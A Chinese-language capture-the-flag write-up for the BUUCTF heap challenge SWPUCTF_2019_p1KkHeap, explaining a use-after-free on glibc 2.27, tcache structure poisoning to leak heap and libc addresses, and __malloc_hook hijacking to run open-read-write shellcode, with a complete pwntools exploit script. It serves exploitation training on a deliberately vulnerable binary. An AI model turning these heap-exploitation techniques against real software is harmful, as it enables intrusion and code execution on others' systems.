buu刷题记录—SWPUCTF_2019_p1KkHeap
这波又刷新了我对2.27版本libc的认知。那就是tcache struct ,话不多说看题。
静态分析
64位保护全开,习惯就好。载入IDA查看发现plt表有很多函数,其中有mmap
和prctl
,prctl
最常见的就是设置沙箱规则,mmap
最常见的就是直接给一个可读可写可执行的一片内存区域,那么我们返回终端查看一下沙箱规则。
这个有点复杂,不过大概率就可以认为他给你禁用了execve
,其它的基本不用管,大概意思就是write
函数的count
必须非负,且大小在32位int范围内,并且不能=0x10,有一说一这个0x10并不理解为啥限制这个不能等于0x10,因为我读flag
一般是读0x40
我们看看初始化函数,可以看到mmap
分配了一片很大的内存并且是可读可写可执行的权限,那么开了沙箱之后我们就能往里面写orw
的shellcode
,然后再劫持某些东西让它跳转到这个区域。
分析逻辑, 经典堆菜单题目,包含了增删改查,但是有一个全局变量一直在++并且循环并非while 1,可以发现这个初始值为0x12,意味着我们只能操作18次。先看删除,发现删除没有把指针清零,存在UAF
,但是会把另一个东西清零,并且跟外面一样,删除有次数限制,只有三次机会。添加堆块会现寻找第一个指针不为0的指针,然后分配,最多同时存在八个堆块,size被限定在0x100以内。show
会直接打印堆块上面的信息,edit
就是根据输入的size
读入数据,删除会导致无法edit,但是不影响show,所以这个地方可以用于泄露,后面的利用也都以uaf为基础攻击。
泄露libc
这里需要注意,glibc在2.26版本加入了tcache,tcache在堆上管理,会分配一个0x250大小的堆块,这就是一个tcache struct 上面会存储每个size tcache 的个数和tcache第一个堆块的地址。首先double free然后show 泄露heap的地址。
1 2 3 4 5 6 7 8
| add(0x100) add(0x100) free(0) free(0) show(0) p.recvuntil(b'content: ') heap_addr=u64(p.recv(6)+b'\0\0')-0x260 success('heap_addr:'+hex(heap_addr))
|
泄露了之后我们接下来需要申请堆块到tcache struct上面来进行一些操作方便我们修改某些东西。我们都知道,每个大小的tcache bin最多存在7个,超过则会对应进入fastbin 或者 unsorted bin。那么我们把size改成7然后再free 再show就可以泄露libc的地址了。我们还可以顺便把第一个tcache的地址改成那个分配的可读可写可执行的区域,等会直接申请就可以在上面写数据了。
1 2 3 4 5 6 7 8 9 10
| add(0x100) edit(2,p64(heap_addr+0x18)) add(0x100) add(0x100) edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(0x66660010))
free(0) show(0) libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook'] success('libc_addr:'+hex(libc_addr))
|
最后比较简单,就是写shellcode orw然后劫持malloc hook而已。
1 2 3 4 5 6 7 8 9 10 11 12
| add(0x100)
payload=shellcraft.open('./flag',0)+shellcraft.read(3,0x66660100,0x30)+shellcraft.write(1,0x66660100,0x30) shellcode=asm(payload)
edit(5,shellcode)
edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(libc_addr+libc.sym['__malloc_hook']))
add(0x100)
edit(6,p64(0x66660010))
|
来看看结果吧
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
context.log_level='debug' context.arch='amd64' context.os='linux' def conn(x,file_name): if x: p=process(file_name) libc=ELF('./libc/libc-2.27-64.so') else: p=remote('node4.buuoj.cn',29949) libc=ELF('./libc/libc-2.27-buu64.so') return ELF(file_name),libc,p def add(size): p.sendlineafter(b'Choice: ',b'1') p.sendlineafter(b'size: ',str(size))
def free(index): p.sendlineafter(b'Choice: ',b'4') p.sendlineafter(b'id: ',str(index))
def edit(index,payload): p.sendlineafter(b'Choice: ',b'3') p.sendlineafter(b'id: ',str(index)) p.sendafter(b'content: ',payload)
def show(index): p.sendlineafter(b'Choice: ',b'2') p.sendlineafter(b'id: ',str(index))
elf,libc,p=conn(1,'./SWPUCTF_2019_p1KkHeap')
add(0x100) add(0x100) free(0) free(0) show(0) p.recvuntil(b'content: ') heap_addr=u64(p.recv(6)+b'\0\0')-0x260 success('heap_addr:'+hex(heap_addr))
add(0x100) edit(2,p64(heap_addr+0x18)) add(0x100) add(0x100) edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(0x66660010))
free(0) show(0) libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook'] success('libc_addr:'+hex(libc_addr))
add(0x100)
payload=shellcraft.open('./flag',0)+shellcraft.read(3,0x66660100,0x30)+shellcraft.write(1,0x66660100,0x30) shellcode=asm(payload)
edit(5,shellcode)
edit(4,b'\0'*7+b'\x07'+p64(0)*21+p64(libc_addr+libc.sym['__malloc_hook']))
add(0x100)
edit(6,p64(0x66660010))
gdb.attach(p) p.interactive()
|